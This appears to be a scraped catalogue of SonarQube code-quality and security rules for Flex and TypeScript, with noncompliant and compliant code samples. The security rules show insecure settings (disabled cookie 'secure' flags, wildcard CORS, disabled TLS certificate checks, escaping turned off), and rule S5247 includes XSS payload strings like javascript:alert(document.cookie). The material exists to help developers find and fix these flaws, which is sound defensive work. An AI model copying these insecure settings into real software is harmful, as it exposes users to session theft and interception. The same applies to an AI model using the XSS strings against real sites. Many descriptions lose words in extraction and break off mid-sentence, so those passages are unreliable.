Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:ParsingError |
When the Flex parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1176 |
Try to imagine using the standard Flex API without ASDoc. It would be a nightmare, because ASDoc is the only way to understand of the contract of the API. Documenting an API with ASDoc increases the productivity of the developers use it. Noncompliant Code Examplepublic class MyClass { public var myLabel:String; public function myMethod(param1:String):Boolean {...} } Compliant Solution/** * my doc */ public class MyClass { /** * my doc */ public var myLabel:String; /** * my doc * @param param1 my doc * @return my doc */ public function myMethod(param1:String):Boolean {...} } ExceptionsClasses or class elements with an ASDoc /** * @private // This class and all its elements are ignored */ public class MyClass { // Compliant public var myLabel:String; // Compliant } public class AnotherClass { // Noncompliant; class not @private and not documented /** * @private */ public var name:String; // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S4524 |
For readability purpose, to help a developer to quickly find the default behavior of a Noncompliant Code Exampleswitch (param) { case 0: doSomething(); break; default: // default clause should be the first or last one error(); break; case 1: doSomethingElse(); break; } Compliant Solutionswitch (param) { case 0: doSomething(); break; case 1: doSomethingElse(); break; default: error(); break; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1454 |
Using several "--" or "++" unary operators in the same arithmetic expression can quickly make the expression unreadable. Noncompliant Code Examplevar j:int = foo++ - --bar; Compliant Solutionbar--; var j:int = foo++ - bar; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
flex:S1455 |
Declaring the package and class together has been deprecated since ActionScript 3. The package definition should be declared outside of the class definition even if the old syntax is still supported. Noncompliant Code Exampleclass P.A {...} Compliant Solutionpackage P { class A {...} } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplecookie-session module: let session = cookieSession({ secure: false,// Sensitive }); // Sensitive express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { secure: false // Sensitive } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { secure: false // Sensitive }); // Sensitive csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { secure: false }}); // Sensitive Compliant Solutioncookie-session module: let session = cookieSession({ secure: true,// Compliant }); // Compliant express-session module: const express = require('express'); const session = require('express-session'); let app = express(); app.use(session({ cookie: { secure: true // Compliant } })); cookies module: let cookies = new Cookies(req, res, { keys: keys }); cookies.set('LastVisit', new Date().toISOString(), { secure: true // Compliant }); // Compliant csurf module: const cookieParser = require('cookie-parser'); const csrf = require('csurf'); const express = require('express'); let csrfProtection = csrf({ cookie: { secure: true }}); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5122 |
Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities: Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Examplenodejs http built-in module: const http = require('http'); const srv = http.createServer((req, res) => { res.writeHead(200, { 'Access-Control-Allow-Origin': '*' }); // Sensitive res.end('ok'); }); srv.listen(3000); Express.js framework with cors middleware: const cors = require('cors'); let app1 = express(); app1.use(cors()); // Sensitive: by default origin is set to * let corsOptions = { origin: '*' // Sensitive }; let app2 = express(); app2.use(cors(corsOptions)); Compliant Solutionnodejs http built-in module: const http = require('http'); const srv = http.createServer((req, res) => { res.writeHead(200, { 'Access-Control-Allow-Origin': 'trustedwebsite.com' }); // Compliant res.end('ok'); }); srv.listen(3000); Express.js framework with cors middleware: const cors = require('cors'); let corsOptions = { origin: 'trustedwebsite.com' // Compliant }; let app = express(); app.use(cors(corsOptions)); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4275 |
Getters and setters provide a way to enforce encapsulation by providing This rule raises an issue in any of these cases:
Noncompliant Code Exampleclass A { private _x: number = 0; private y: number = 0; public get x() { // Noncompliant: field 'x' is not used in the return value return this.y; } public setX(val: number) { // Noncompliant: field 'x' is not updated this.y = val; } public getY() { // Noncompliant: field 'y' is not used in the return value return this.x; } } Compliant Solutionclass A { private _x: number = 0; private y: number = 0; public get x() { return this._x; } public setX(val: number) { this.x = val; } public getY() { return this.y; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4030 |
When a collection is populated but its contents are never used, then it is surely some kind of mistake. Either refactoring has rendered the collection moot, or an access is missing. This rule raises an issue when no methods are called on a collection other than those that add or remove values. Noncompliant Code Examplefunction getLength(a, b, c) { const strings = []; // Noncompliant strings.push(a); strings.push(b); strings.push(c); return a.length + b.length + c.length; } Compliant Solutionfunction getLength(a, b, c) { return a.length + b.length + c.length; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3504 |
ECMAScript 2015 introduced the The distinction between the variable types created by Because these new keywords create more precise variable types, they are preferred in environments that support ECMAScript 2015. However, some
refactoring may be required by the switch from This rule raises an issue when Noncompliant Code Examplevar color = "blue"; var size = 4; Compliant Solutionconst color = "blue"; let size = 4; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3626 |
Jump statements, such as Noncompliant Code Examplefunction redundantJump(x) { if (x == 1) { console.log("x == 1"); return; // Noncompliant } } Compliant Solutionfunction redundantJump(x) { if (x == 1) { console.log("x == 1"); } } Exceptions
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4157 |
There's no reason to repeat a default type unless it is early in a list and other, non-default types come after it. Instead, leave it out and only supply type when it is something other than the default. Noncompliant Code Examplefunction foo<N = number, S = string>() {} foo<number, string>(); // Noncompliant; both types redundant foo<string, string>(); // Noncompliant; 2nd string is redundant foo<number, number>(); // Ignored; number is redundant but required Compliant Solutionfunction foo<N = number, S = string>() {} foo(); foo<string>(); foo<number, number>(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S5247 |
To reduce the risk of cross-site scripting attacks, templating systems, such as Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "html auto-escaping" strategy
(which only transforms html characters into html entities) will not be relevant
when variables are used in a html attribute because ' <a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie) <a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack) Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesEnable auto-escaping by default and continue to review the use of inputs in order to be sure that the chosen auto-escaping strategy is the right one.
Sensitive Code Examplemustache.js template engine: let Mustache = require("mustache"); Mustache.escape = function(text) {return text;}; // Sensitive let rendered = Mustache.render(template, { name: inputName }); handlebars.js template engine: const Handlebars = require('handlebars'); let source = "<p>attack {{name}}</p>"; let template = Handlebars.compile(source, { noEscape: true }); // Sensitive markdown-it markup language parser: const markdownIt = require('markdown-it'); let md = markdownIt({ html: true // Sensitive }); let result = md.render('# <b>attack</b>'); marked markup language parser: const marked = require('marked'); marked.setOptions({ renderer: new marked.Renderer(), sanitize: false // Sensitive }); console.log(marked("# test <b>attack/b>")); kramed markup language parser: let kramed = require('kramed'); var options = { renderer: new kramed.Renderer({ sanitize: false // Sensitive }) }; Compliant Solutionmustache.js template engine: let Mustache = require("mustache"); let rendered = Mustache.render(template, { name: inputName }); // Compliant autoescaping is on by default handlebars.js template engine: const Handlebars = require('handlebars'); let source = "<p>attack {{name}}</p>"; let data = { "name": "<b>Alan</b>" }; let template = Handlebars.compile(source); // Compliant by default noEscape is set to false markdown-it markup language parser: let md = require('markdown-it')(); // Compliant by default html is set to false let result = md.render('# <b>attack</b>'); marked markup language parser: const marked = require('marked'); marked.setOptions({ renderer: new marked.Renderer() }); // Compliant by default sanitize is set to true console.log(marked("# test <b>attack/b>")); kramed markup language parser: let kramed = require('kramed'); let options = { renderer: new kramed.Renderer({ sanitize: true // Compliant }) }; console.log(kramed('Attack [xss?](javascript:alert("xss")).', options)); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4158 |
When a collection is empty it makes no sense to access or iterate it. Doing so anyway is surely an error; either population was accidentally omitted or the developer doesn't understand the situation. Noncompliant Code Examplelet strings = []; if (strings.includes("foo")) {} // Noncompliant for (str of strings) {} // Noncompliant strings.forEach(str => doSomething(str)); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1440 |
The It is best to always use the side-effect-less Noncompliant Code Exampleif (var == 'howdy') {...} // Noncompliant Compliant Solutionif (var === 'howdy') {...} ExceptionsEven if testing the equality of a variable against null doesn't do exactly what most JavaScript developers believe, usage of if(foo == null) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3981 |
The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or
equal to zero doesn't make sense, since the result is always Noncompliant Code Exampleif (someSet.size >= 0) {...} // Noncompliant if (someMap.size < 0) {...} // Noncompliant const result = someArray.length >= 0; // Noncompliant Compliant Solutionif (someSet.size > 0) {...} if (someMap.size == 0) {...} const result = someArray.length > 0; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4156 |
Each file is considered an "external" module. The use of the Noncompliant Code Examplemodule myMod { // Noncompliant // ... } Compliant Solutionnamespace myMod { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1441 |
This rule checks that all string literals use the same kind of quotes. Noncompliant Code ExampleUsing the parameter default (forcing single quotes): var firstParameter = "something"; // Noncompliant Compliant Solutionvar firstParameter = 'something'; ExceptionsStrings that contain quotes are ignored. let heSaid = "Then he said 'What?'." // ignored let sheSaid = '"Whatever!" she replied.' // ignored |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3984 |
Creating a new Noncompliant Code Exampleif (x < 0) { new Error("x must be nonnegative"); } Compliant Solutionif (x < 0) { throw new Error("x must be nonnegative"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3863 |
Multiple imports from the same module should be merged together to improve readability. Noncompliant Code Exampleimport { B1 } from 'b'; import { B2 } from 'b'; // Noncompliant Compliant Solutionimport { B1, B2 } from 'b'; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code ExampleThere is no way to disable certificate verification in tls, https and request modules but it is possible to not reject request when verification fails. https built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Noncompliant tls built-in module: let options = { secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Noncompliant request module: let socket = request.get({ url: 'www.example.com', secureProtocol: 'TLSv1_2_method', rejectUnauthorized: false ; // Noncompliant }); Compliant Solutionhttps built-in module: let options = { hostname: 'www.example.com', port: 443, path: '/', method: 'GET', secureProtocol: 'TLSv1_2_method' }; let req = https.request(options, (res) => { res.on('data', (d) => { process.stdout.write(d); }); }); // Compliant: by default rejectUnauthorized is set to true tls built-in module: let options = { secureProtocol: 'TLSv1_2_method' }; let socket = tls.connect(443, "www.example.com", options, () => { process.stdin.pipe(socket); process.stdin.resume(); }); // Compliant: by default rejectUnauthorized is set to true request module: let socket = request.get({ url: 'https://www.example.com/', secureProtocol: 'TLSv1_2_method' // Compliant }); // Compliant: by default rejectUnauthorized is set to true See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S888 |
Testing Noncompliant Code Examplefor (var i = 1; i != 10; i += 2) // Noncompliant. Infinite; i goes from 9 straight to 11. { //... } Compliant Solutionfor (var i = 1; i <= 10; i += 2) // Compliant { //... } ExceptionsEquality operators are ignored if the loop counter is not modified within the body of the loop and either:
Equality operators are also ignored when the test is against for (var i = 0; arr[i] != null; i++) { // ... } for (var i = 0; (item = arr[i]) != null; i++) { // ... } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely in error. Noncompliant Code Examplefruits[1] = "banana"; fruits[1] = "apple"; // Noncompliant - value on index 1 is overwritten myMap.set("key", 1); myMap.set("key", 2); // Noncompliant - value for key "key" is replaced mySet.add(1); mySet.add(1); // Noncompliant - element is already in the set |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4140 |
An array declared with missing ("sparse") elements is likely to be an error: an extra comma was inserted or perhaps the developer meant to insert the missing value and forgot. Noncompliant Code Examplelet a = [1, , 3, 6, 9]; // Noncompliant Compliant Solutionlet a = [1, 3, 6, 9]; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Examplevar myNumber = 010; // Noncompliant. myNumber will hold 8, not 10 - was this really expected? Compliant Solutionvar myNumber = 8; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3735 |
The Noncompliant Code Examplevoid (function() { ... }()); Compliant Solution(function() { ... }()); ExceptionsNo issue is raised when if (parameter === void 0) {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3616 |
The comma operator ( Similarly the logical OR operator ( Noncompliant Code Exampleswitch a { case 1,2: // Noncompliant; only 2 is ever handled by this case doTheThing(a); case 3 || 4: // Noncompliant; only '3' is handled doThatThing(a); case 5: doTheOtherThing(a); default: console.log("Neener, neener!"); // this happens when a==1 or a == 4 } Compliant Solutionswitch a { case 1: case 2: doTheThing(a); case 3: case 4: doThatThing(a); case 5: doTheOtherThing(a); default: console.log("Neener, neener!"); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code Example// The process object is a global that provides information about, and control over, the current Node.js process var param = process.argv[2]; // Sensitive: check how the argument is used console.log('Param: ' + param); See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1438 |
In JavaScript, the semicolon ( Noncompliant Code Examplefunction fun() { return // Noncompliant. ';' implicitly inserted at end of line 5 // Noncompliant. ';' implicitly inserted at end of line } print(fun()); // prints "undefined", not "5" Compliant Solutionfunction fun() { return 5; } print(fun()); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1439 |
Any statement or block of statements can be identified by a label, but those labels should be used only on Noncompliant Code ExamplemyLabel: if (i % 2 == 0) { // Noncompliant if (i == 12) { console.log("12"); break myLabel; } console.log("Odd number, but not 12"); } Compliant SolutionmyLabel: for (i = 0; i < 10; i++) { // Compliant console.log("Loop"); break myLabel; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code Example// The process object is a global that provides information about, and control over, the current Node.js process // All uses of process.stdin are security-sensitive and should be reviewed process.stdin.on('readable', () => { const chunk = process.stdin.read(); // Sensitive if (chunk !== null) { dosomething(chunk); } }); const readline = require('readline'); readline.createInterface({ input: process.stdin // Sensitive }).on('line', (input) => { dosomething(input); }); See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4023 |
An empty interface is equivalent to an empty object ('{}'). Normally you cannot directly assign an object literal to a type when the object literal contains more properties than are specified in the type. But in the case of an empty interface, this check is not done, and such assignments will be successful. The result is highly likely to confuse maintainers. Noncompliant Code Exampleinterface MyFace {} // Noncompliant Compliant Solutioninterface MyFace { foo: number; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4144 |
When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, the code should be refactored. Noncompliant Code Examplefunction calculateCode() { doTheThing(); doOtherThing(); return code; } function getName() { // Noncompliant doTheThing(); doOtherThing(); return code; } Compliant Solutionfunction calculateCode() { doTheThing(); doOtherThing(); return code; } function getName() { return calculateCode(); } ExceptionsFunctions with fewer than 3 lines are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3973 |
In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers. Noncompliant Code Exampleif (condition) // Noncompliant doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); Compliant Solutionif (condition) doTheThing(); doTheOtherThing(); somethingElseEntirely(); foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3972 |
Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an Noncompliant Code Exampleif (condition1) { // ... } if (condition2) { // Noncompliant //... } Compliant Solutionif (condition1) { // ... } else if (condition2) { //... } Or if (condition1) { // ... } if (condition2) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4822 |
An exception (including This rule reports Noncompliant Code Examplefunction runPromise() { return Promise.reject("rejection reason"); } function foo() { try { // Noncompliant, the catch clause of the 'try' will not be executed for the code inside promise runPromise(); } catch (e) { console.log("Failed to run promise", e); } } Compliant Solutionfunction foo() { runPromise().catch(e => console.log("Failed to run promise", e)); } // or async function foo() { try { await runPromise(); } catch (e) { console.log("Failed to run promise", e); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3854 |
There are situations where The basic rule is: a constructor in a non-derived class cannot invoke Furthermore: - - - - Known Limitations
Noncompliant Code Exampleclass Dog extends Animal { constructor(name) { super(); this.name = name; super(); // Noncompliant super.doSomething(); } } Compliant Solutionclass Dog extends Animal { constructor(name) { super(); this.name = name; super.doSomething(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1105 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when the brace-style is not respecting the convention setup in parameter: * 1tbs (default) * allman Noncompliant Code ExampleUsing the parameter default (1tbs): if (condition) { //Noncompliant doSomething(); } //Noncompliant else { doSomethingElse(); } Compliant Solutionif (condition) { //Compliant doSomething(); } else { //Compliant doSomethingElse(); } Exceptions* Object literals appearing as arguments can start on their own line. functionWithObject( { //Compliant g: "someValue" } ); * When blocks are inlined (left and right curly braces on the same line), no issue is triggered. if(condition) {doSomething();} //Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S1226 |
While it is technically correct to assign to parameters from within function bodies, it reduces code readability because developers won't be able to tell whether the original parameter or some temporary variable is being accessed without going through the whole function. Moreover, some developers might also expect assignments of function parameters to be visible to callers, which is not the case, and this lack of visibility could confuse them. Instead, all parameters, caught exceptions, and foreach parameters should be treated as constants. Noncompliant Code Examplefunction MyClass(name, strings) { name = foo; // Noncompliant for (var str of strings) { str = ""; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3525 |
Originally JavaScript didn't support Specifically, with ES2015, you should simply declare a Noncompliant Code Examplefunction MyNonClass(initializerArgs = []) { this._values = [...initializerArgs]; } MyNonClass.prototype.doSomething = function () { // Noncompliant // ... } Compliant Solutionclass MyClass { constructor(initializerArgs = []) { this._values = [...initializerArgs]; } doSomething() { //... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4619 |
The If checking for an array slot is indeed desired, using Noncompliant Code Examplefunction func1() { let arr = ["a", "b", "c"]; let expectedValue = "b"; if (expectedValue in arr) { // Noncompliant, will be always false return expectedValue + " found in the array"; } else { return expectedValue + " not found"; } } function func2() { let arr = ["a", "b", "c"]; let expectedValue = "1"; // index #1 is corresponding to the value "b" if (expectedValue in arr) { // Noncompliant, will be always true because the array is made of 3 elements and the #1 is always there whatever its value return expectedValue + " found in the array"; } else { return expectedValue + " not found"; } } Compliant Solutionfunction func() { let arr = ["a", "b", "c"]; let expectedValue = "b"; if (arr.includes(expectedValue)) { return expectedValue + " was found in the array"; } else { return expectedValue + " not found"; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S2310 |
Loop counters should not be modified in the body of the loop. However other loop control variables representing logical values may be modified in the loop, for example a flag to indicate that something has been completed, which is then tested in the for statement. Noncompliant Code Examplevar names = [ "Jack", "Jim", "", "John" ]; for (var i = 0; i < names.length; i++) { if (!names[i]) { i = names.length; // Non-Compliant } else { console.log(names[i]); } } Compliant Solutionvar names = [ "Jack", "Jim", "", "John" ]; for (var name of names) { if (!name) { break; // Compliant } else { console.log(name); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3524 |
Shared coding conventions allow teams to collaborate effectively. This rule raises an issue when the use of parentheses with an arrow function does not conform to the configured requirements. Noncompliant Code ExampleWith the configured defaults forbidding parentheses var foo = (a) => { /* ... */ }; // Noncompliant; remove parens from arg var bar = (a, b) => { return 0; }; // Noncompliant; remove curly braces from body Compliant Solutionvar foo = a => { /* ... */ }; var bar = (a, b) => 0; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3402 |
Use a This rule raises an issue when Noncompliant Code Examplefunction foo() { let x = 5 + 8; // okay let z = "8" return x + z; // Noncompliant; yields string "138" } Compliant Solutionfunction foo() { let x = 5 + 8; let z = "8" return x + Number(z); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4165 |
The transitive property says that if This rule raises an issue when an assignment is useless because the assigned-to variable already holds the value on all execution paths. Noncompliant Code Examplea = b; c = a; b = c; // Noncompliant: c and b are already the same Compliant Solutiona = b; c = a; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S4043 |
Many of JavaScript's This rule raises an issue when the return values of these methods are assigned, which could lead maintainers to overlook the fact that the original value is altered. Noncompliant Code Examplevar b = a.reverse(); // Noncompliant var d = c.sort(); // Noncompliant Compliant Solutionvar b = [...a].reverse(); // de-structure and create a new array, so reverse doesn't impact 'a' a.reverse(); c.sort(); // this sorts array in place |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3514 |
ECMAScript 2015 introduced the ability to extract and assign multiple data points from an object or array simultaneously. This is called "destructuring", and it allows you to condense boilerplate code so you can concentrate on logic. This rule raises an issue when multiple pieces of data are extracted out of the same object or array and assigned to variables. Noncompliant Code Examplefunction foo (obj1, obj2, array) { var a = obj1.a; // Noncompliant var b = obj1.b; var name = obj2.name; // ignored; there's only one extraction-and-assignment var zero = array[0]; // Noncompliant var one = array[1]; } Compliant Solutionfunction foo (obj1, obj2, array) { var {a, b} = obj1; var {name} = obj2; // this syntax works because var name and property name are the same var [zero, one] = array; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
typescript:S3516 |
